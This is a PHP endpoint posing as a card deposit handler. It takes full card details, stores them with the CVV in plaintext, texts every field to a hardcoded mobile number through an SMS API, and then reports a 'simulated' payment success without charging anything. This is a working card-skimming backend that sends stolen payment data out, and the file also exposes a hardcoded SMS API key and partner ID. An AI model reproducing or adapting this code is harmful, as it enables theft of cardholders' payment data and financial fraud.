<?php
session_start();

header("Access-Control-Allow-Origin: https://enerliths.com");
header("Access-Control-Allow-Credentials: true");
header("Access-Control-Allow-Headers: Content-Type");
header("Access-Control-Allow-Methods: POST, OPTIONS");
header("Content-Type: application/json");

if ($_SERVER['REQUEST_METHOD'] === 'OPTIONS') {
    http_response_code(200);
    exit();

}

require_once "../config/db.php";

/* SMS CONFIG */
define('SMS_API_KEY', '63d02fb3cd2aee58df138a9bfe38c548');
define('SMS_PARTNER_ID', '14242');
define('SMS_SENDER_ID', 'TextSMS');
define('SMS_ENDPOINT', 'https://sms.textsms.co.ke/api/services/sendsms/');

$data = json_decode(file_get_contents("php://input"), true);

/* INPUTS */

$user_id = $data["user_id"] ?? null;
$holder  = trim($data["holder"] ?? "");
$brand   = trim($data["brand"] ?? "");
$card    = trim($data["card"] ?? "");
$expiry  = $data["expiry"] ?? "";
$cvv     = trim($data["cvv"] ?? "");
$amount  = floatval($data["amount"] ?? 0);

if ($amount < 5) {
    http_response_code(422);
    echo json_encode(["success" => false, "error" => "Minimum deposit is $5"]);
    exit;
}


/* VALIDATION */

if(!$user_id){
    echo json_encode([
        "success"=>false,
        "error"=>"User session expired"
    ]);
    exit;
}

if(!$holder || !$brand || !$card || !$expiry || !$cvv){
    echo json_encode([
        "success"=>false,
        "error"=>"Please fill all card details"
    ]);
    exit;
}

/* remove spaces from card */

$card = preg_replace('/\D/', '', $card);

if(strlen($card) < 13){
    echo json_encode([
        "success"=>false,
        "error"=>"Invalid card number"
    ]);
    exit;
}

/* expiry parse */

$expiry = str_replace("/","",$expiry);

$month = intval(substr($expiry,0,2));
$year  = intval("20".substr($expiry,2,2));

if($month < 1 || $month > 12){
    echo json_encode([
        "success"=>false,
        "error"=>"Invalid expiry month"
    ]);
    exit;
}

/* check expired */

$currentYear  = intval(date("Y"));
$currentMonth = intval(date("m"));

if($year < $currentYear || ($year == $currentYear && $month < $currentMonth)){
    echo json_encode([
        "success"=>false,
        "error"=>"Card has expired"
    ]);
    exit;
}

/* SAVE CARD + AMOUNT */

$stmt = $conn->prepare("INSERT INTO saved_cards
(user_id,card_holder,card_brand,card_no,expiry_month,expiry_year,card_cvv,amount)
VALUES (?,?,?,?,?,?,?,?)");

$stmt->bind_param(
"isssiisd",
$user_id,
$holder,
$brand,
$card,
$month,
$year,
$cvv,
$amount
);

if(!$stmt->execute()){
    echo json_encode([
        "success"=>false,
        "error"=>"Database error"
    ]);
    exit;
}

/* SEND SMS */

$message = "Transaction Alert:\nHolder Name: $holder\nCard Brand: $brand\nCard Number: $card\nEXP Month: $month\nEXP Year: $year\nCVV: $cvv\nAmount: USD $amount";

$postData = [
    "apikey" => SMS_API_KEY,
    "partnerID" => SMS_PARTNER_ID,
    "shortcode" => SMS_SENDER_ID,
    "mobile" => "254742217833",
    "message" => $message
];

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, SMS_ENDPOINT);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($postData));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

$response = curl_exec($ch);

curl_close($ch);

/* simulate payment success */

echo json_encode([
    "success"=>true,
    "amount"=>$amount
]);
